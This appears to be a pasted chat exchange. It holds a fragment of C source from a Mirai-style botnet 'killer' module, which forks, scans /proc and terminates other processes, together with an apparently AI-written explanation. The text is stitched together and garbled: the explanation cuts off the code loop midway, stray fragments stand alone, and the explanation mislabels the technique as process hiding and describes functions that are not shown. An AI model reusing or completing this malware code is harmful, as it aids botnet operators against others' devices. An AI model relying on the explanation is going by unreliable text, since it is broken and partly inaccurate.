int killer_pid;
char *killer_realpath;
int killer_realpath_len = 0;
void killer_init(void)
{
int killer_highest_pid = KILLER_MIN_PID, last_pid_scan = time(NULL);
uint32_t scan_counter = 0;
struct sockaddr_in tmp_bind_addr;
// Let parent continue on main thread
killer_pid = fork();
if (killer_pid > 0 || killer_pid == -1)
return;
sleep(5);
#ifdef DEBUG
printf("(CONDI_KILLER) cmdline killer started, scanning for bad processes!\n");
#endif
while (TRUE)
{
DIR *dir;
struct dirent *file;
table_unlock_val(TABLE_KILLER_PROC);
if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) == NULL)
{
#ifdef DEBUG
printf("(CONDI_KILLER) failed to open /proc!\n");
#endif
break;
}
table_lock_val(TABLE_KILLER_PROC);
while ((file = readdir(dir)) != NULL)
{
// skip all folders that are not PIDs
if (*(file->d_name) < '0' || *(file->d_name) > '9')
continue;
char cmdline_path[64], *ptr_cmdline_path = cmdline_path;
char maps_path[64], *ptr_maps_path = maps_path;
int rp_len, fd, pid = atoi(file->d_name);
scan_counter++;
if (pid <= killer_highest_pid)
{
if (time(NULL) - last_pid_scan > KILLER_RESTART_SCAN_TIME) // If more than KILLER_RESTART_SCAN_TIME has passed, restart scans from lowest PID for process wrap
{
#ifdef DEBUG
printf("(CONDI_KILLER) %d seconds have passed since last scan. Re-scanning all processes!\n", KILLER_RESTART_SCAN_TIME);
#endif
killer_highest_pid = KILLER_MIN_PID;
}
else
{
if (pid > KILLER_MIN_PID && scan_counter % 10 == 0)
sleep(1); // Sleep so we can wait for another process to spawn
}
This code is a part of a malware program that uses a technique called process hiding to avoid detection by security software.
The code initializes a process called the "killer" that runs in the background and continuously scans running processes on the system. If it finds any processes that match certain criteria, it terminates them.
The killer_init() function is responsible for starting the killer process. It creates a new process using the fork() function and then waits for 5 seconds before starting the scanning process. The scanning process involves iterating through the directory and checking the command line for each running process. If any process matches the criteria specified in the function, it is terminated using the function.
static BOOL mem_exists(char *buf, int buf_len, char *str, int str_len)
{
int matches = 0;
if (str_len > buf_len)
return FALSE;
while (buf_len--)
{
if (*buf++ == str[matches])
{
if (++matches == str_len)
return TRUE;
}
else
matches = 0;
}
return FALSE;
} explain code
/proc
cmdline_scan_match()
kill()
The killer_kill() function can be used to terminate the killer process itself.
The killer_kill_by_port() function is used to find and terminate any processes that are listening on a specific network port. It does this by reading the /proc/net/tcp file to find the processes that are associated with a specific port. It then iterates through the /proc directory to find the corresponding process and terminates it if found.
The cmdline_scan_match() function is a helper function used by the killer_init() function to check if a process matches the criteria for termination. It reads the contents of a process's command line file (/proc/[pid]/cmdline) and checks if it contains certain keywords or patterns that indicate malicious behavior.
The mem_exists() function is another helper function used by cmdline_scan_match() to check if a specific string exists within a larger buffer of data.
Overall, this code is used to hide and terminate specific processes that may interfere with the malware's operation or expose its presence to security software.